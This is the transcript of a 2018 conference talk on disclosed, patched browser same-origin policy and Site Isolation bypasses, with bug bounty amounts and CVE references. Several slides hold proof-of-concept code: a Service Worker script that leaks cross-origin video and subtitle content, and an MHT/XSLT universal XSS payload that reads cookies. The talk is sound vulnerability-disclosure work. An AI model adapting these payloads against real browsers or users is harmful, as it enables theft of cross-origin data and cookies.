

# Logically Bypassing Browser Security Boundaries

**Logically Bypassing Browser Security Boundaries** - @speakerdeck, Jun Kokatsu, Speaker Deck.

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Logically Bypassing Browser Security Boundaries - Speaker Deck

## Logically Bypassing Browser Security Boundaries

This talk was presented at bugSWAT. Video of the talk is at <https://youtu.be/B5ZyYTKp4gc>

Talk features: Password manager issue with iframe/CSP sandbox <https://crbug.com/825258>, [http://bugzilla.mozilla.org/show\\_bug.cgi?id=1426767](http://bugzilla.mozilla.org/show_bug.cgi?id=1426767) Stealing audio data with HTTP redirect CVE-2018-6161, CVE-2018-4278 Multiple SOP bypasses with Service Worker CVE-2018-6093, CVE-2018-6099, CVE-2018-6159, CVE-2018-6164, CVE-2018-18352 SOP bypasses with HLS CVE-2018-16072, CVE-2018-4345, CVE-2018-4345 Site Isolation bypass CVE-2018-18345

[image: Avatar for Jun Kokatsu]

## Jun Kokatsu

October 28, 2018

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## Transcript

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## Logically Bypassing Browser Security Boundaries

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> **self.toString()** < "Jun Kokatsu (@shhnjk)" < "Browser Vulnerability Research Team at Microsoft" < "Chrome VRP participant" < "Japanese Manga addict"

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> **self.toString()** < "Jun Kokatsu (@shhnjk)" < "Browser Vulnerability Research Team at Microsoft" < "Chrome VRP participant" < "Japanese Manga addict"

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## Agenda 1. What is Same-Origin Policy? 2. Simple concept of

SOP bypass 3. Apply concept to find bugs 4. What is Site Isolation? 5. Site Isolation bypass 6. Wrap up

-

**Same-Origin Policy Scheme + Host + Port = Origin** <https://www.example.com:443>

-

## Scope of SOP • Evil.com shouldn't be able to access

resources loaded from Example.com • Same-Origin Policy is applied everywhere in a webpage

-

## Simple concept of SOP bypass • The core concept of

SOP is to compare given URLs • Does URL always reflect the right origin? • Is there any way to confuse browser?

-

## 1. iframe/CSP sandbox iframe/CSP sandbox is a way to treat

specific contents as being from a unique origin `<iframe src="https://www.example.com/untrusted.html" sandbox="allow-scripts"></iframe>` OR Content-Security-Policy: sandbox allow-scripts; location.href // "https://www.example.com/untrusted.html" self.origin // "null"

-

**Use case of CSP sandbox** <https://www.Dropbox.com/enterprise> • Dropbox uses CMS



in “/enterprise” • CSP sandbox mitigates exploitability of XSS in third-party CMS contents Devdatta Akhawe: How I learnt to play in the (CSP) Sandbox <https://youtu.be/fbhW37JztSA>

-

## **Stealing password from sandbox • Every browser has a built-in**

password manager • Most of browsers only checked the origin based on URL Resulted in auto-filling a password saved in main content to sandboxed content. Affected: iOS only

-

## **2. Time-of-check Time-of-use • Web page can load sub-resources from**

other site • We need a Magic to swap a sub-resource after security checks

-

## **Magic1: HTTP Redirect Status: 302 Location: <https://example.com/secret.jpg>**

-

## **Stealing cross-origin audio data Web Audio API allows access to**

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource

-

## **Stealing cross-origin audio data Web Audio API allows access to**

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource • Webkit didn't have a security check of audio data access

-

## **Stealing cross-origin audio data Web Audio API allows access to**

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource • Webkit didn't have a security check of audio data access Resulted in leaking audio data of cross-origin audio/video Affected: \$2000

-

## **Magic2: Service Worker • Service Worker is a script that**

gets registered and runs in the background • It has an ability to intercept requests within its scope and respond to it <script>

```
navigator.serviceWorker.register("https://www.example.com/Service_Worker.js"); // Scope:
https://www.example.com/ </script> // https://www.example.com/Service_Worker.js
if(event.request.url == "https://www.example.com/"){ event.respondWith(
fetch("https://www.example.com/landing_page.html") ); }
```

-

## **Magic2: Service Worker Service worker can respond with cross-origin resource**

in two cases 1. If a cross-origin resource allows access with CORS 2. If the request's destination supports "no-cors" request // https://evil.com/Service\_Worker.js event.respondWith(fetch("https://example.com/")); // Access-Control-Allow-Origin: \* // https://evil.com/Service\_Worker.js event.respondWith( fetch("https://example.com/", {mode: "no-cors"}));

-

None

-

## **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass )

-

## **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass ) • Audio and video through captureStream method

-

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-

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-

## **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass ) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file • Response size of arbitrary resource

## Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as:

- Audio through Web Audio API (patch bypass )
- Audio and video through captureStream method
- Content of WebVTT file
- Content of CSS file
- Response size of arbitrary resource Affected: \$8000

```
<video id="leftVideo" style="visibility:hidden" autoplay controls muted><source id="src" type="video/mp4"></video> <video id="result"
```

```
controls autoplay><track src="/vtt" kind="subtitles" srclang="en" label="English" id="entrack" />
</video> <script> navigator.serviceWorker.register('/video_poc.js').then( () => { setTimeout( () =>
{document.getElementById('leftVideo').src="/video";}, 500); });}); var leftVideo =
document.getElementById('leftVideo'); var stream; var mediaRecorder; chunks = []; function
maybeCreateStream() { if (stream) { return; } stream = leftVideo.captureStream(); mediaRecorder =
new MediaRecorder(stream); mediaRecorder.start(); mediaRecorder.ondataavailable = e => {
chunks.push(e.data); function blobToDataURL(callback) { var reader = new FileReader();
reader.onload = e => {callback(e.target.result);} reader.readAsDataURL(chunks[0]); }
blobToDataURL(dataurl => { document.getElementById('result').src = dataurl; }); });
leftVideo.oncanplay = maybeCreateStream; if (leftVideo.readyState >= 3) { maybeCreateStream(); }
</script>
```

```
// video_poc.js => { if(e.request.url.endsWith("video")){ e.respondWith(fetch
("https://storage.cloud.google.com/shhnjk/roll%20safe.mp4",{mode: "no-cors",
```

```
credentials: "include"})); }else if(e.request.url.endsWith("vtt")){
e.respondWith(fetch("https://storage.cloud.google.com/shhnjk/secret.vtt",{mode: "no-cors",
credentials: "include"})); } } // WebVTT stealing part function go(){ var myTrack =
document.getElementById("entrack").track; var myCues = myTrack.cues; for (var i = 0; i <
myCues.length; i++) { document.body.innerHTML += "VTT content:
"+myCues[i].getCueAsHTML().textContent + "<br/>"; } }
```

## Magic3: Weird file format (HLS) HTTP Live Streaming is a

playlist-based video file made by Apple

## Magic3: Weird file format (HLS) HTTP Live Streaming is a

playlist-based video file made by Apple main.m3u8 video.m3u8 Actual video file audio.m3u8  
Actual audio file <video controls> <source src="/main.m3u8"> </video>

-

## **Magic3: Weird file format (HLS)**

-

## **Stealing audio and video again • Chrome uses Android's media**

player for HLS and leaked video

-

## **Stealing audio and video again • Chrome uses Android's media**

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio

-

## **Stealing audio and video again • Chrome uses Android's media**

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio • Webkit has native HLS implementation, yet leaked video.

-

## **Stealing audio and video again • Chrome uses Android's media**

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio • Webkit has native HLS implementation, yet leaked video. Affected: \$10000

-

## **What is Site Isolation? Site Isolation is a security feature**

in Chrome which mitigates Spectre, UXSS, etc, by strictly separating renderer process per Site Scheme + eTLD+1 = "Site" in Site Isolation <https://www.example.com:443>  
<https://www.chromium.org/developers/design-documents/site-isolation>

-

## **UXSS should be alive! Tested Site Isolation with old UXSS**

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain

-

## **UXSS should be alive! Tested Site Isolation with old UXSS**

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com"

-

## UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com" >  
document.cookie

-

## UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com" >  
document.cookie

-

## Pinging a friend Me: Hey Masato, this is fun! We

can't get cookie with UXSS because of Site Isolation! 5 mins later...

-

## Pinging a friend Me: Hey Masato, this is fun! We

can't get cookie with UXSS because of Site Isolation! 5 mins later... Masato: We can. Just need to create Blob URL and Blob URL can access it var text = `<iframe src=https://www.google.com/robots.txt>`  
`</iframe>` ; var blob = new Blob([text], {type : "text/html"}); var url = URL.createObjectURL(blob);  
location.href = url;

-

## How should we make a PoC? CVE-2017-5124 was patched. We

are left with 2 options. 1. Find new UXSS 2. Simulate renderer process compromise and replicate the same bug Finding UXSS isn't easy. And... <https://www.google.com/about/appsecurity/chrome-rewards/#special>

-

## Option 3? Me: Masato, you should just report the bug

and let Chrome folks decide if the same bug still exists.

-

## Option 3? Me: Masato, you should just report the bug

and let Chrome folks decide if the same bug still exists. Masato: I feel bad about reporting a bug without knowing anything about Site Isolation... Me:

-

## Option 4?

-

## Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

-

## Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

-

## Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

-

## Understanding CVE-2017-5124 MIME-Version: 1.0 Content-Type: multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary-- Content-Type: application/xml

```
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID #REQUIRED> ]> <xml:stylesheet id="stylesheet"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe
style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet>
-----MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com
<script>alert(document.cookie)</script> -----MultipartBoundary---- Browser process Renderer
process 1 https://evil.com <iframe> https://www.google.com Process for "https://evil.com" Cookie
for google.com please! Your process is for evil.com. Die! PoC.mht
```

-

## Understanding SI bypass Cookie for google.com please! MIME-Version: 1.0 Content-Type:

```
multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary--
Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet
type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID
#REQUIRED> ]> <xml:stylesheet id="stylesheet"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe
style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet>
-----MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com
<script> var blob = new Blob([ <iframe src=https://www.google.com/robots.txt></iframe> ], {type :
"text/html"}); location.href = URL.createObjectURL(blob); </script> -----MultipartBoundary----
Browser process Renderer process 1 https://evil.com <iframe> Process for "https://evil.com" Blob
URL for google.com please! No problem https://www.google.com
```

-

## Understanding SI bypass Cookie for google.com please! MIME-Version: 1.0 Content-Type:

```
multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary--
Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet
type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID
#REQUIRED> ]> <xml:stylesheet id="stylesheet"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe
style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet>
-----MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com
<script> var blob = new Blob([ <iframe src=https://www.google.com/robots.txt></iframe> ], {type :
"text/html"}); location.href = URL.createObjectURL(blob); </script> -----MultipartBoundary----
Browser process Renderer process 2 blob:https://www.google.com <iframe> Process for
"https://google.com" Cookie for google.com please! No problem https://www.google.com
```

### But how? 1. Blob URL is created inside renderer process

### But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process

### But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process \$8000

### But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process Live Demo! \$8000

## What Site Isolation protects? As of Chrome 70, Site Isolation

protect against: 1. Spectre 2. UXSS (or maybe not?) But it doesn't fully protect against renderer process compromise. Yet, it has some protections (e.g. UXSS, cookie access).

## Wrap up 1. SOP bypass isn't only about DOM access.

Check sub-resource access too. 2. Site Isolation is an interesting and important protection. You should poke around.

-

## **Acknowledgements • SW origin confusion technique [crbug.com/598077](https://crbug.com/598077) • @i\_b oom for**

the UXSS in Chrome 61 (CVE-2017-5124) • @kinugawamasato, finder of Site Isolation bypass • @jaffathecake, [jakearchibald.com/2018/i-discovered-a-browser-bug/](https://jakearchibald.com/2018/i-discovered-a-browser-bug/) • Thanks Chrome Security team, Mozilla Security team, and Apple Product Security team! • Thanks Google VRP!!

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## **Questions? Let me Bing it for you**

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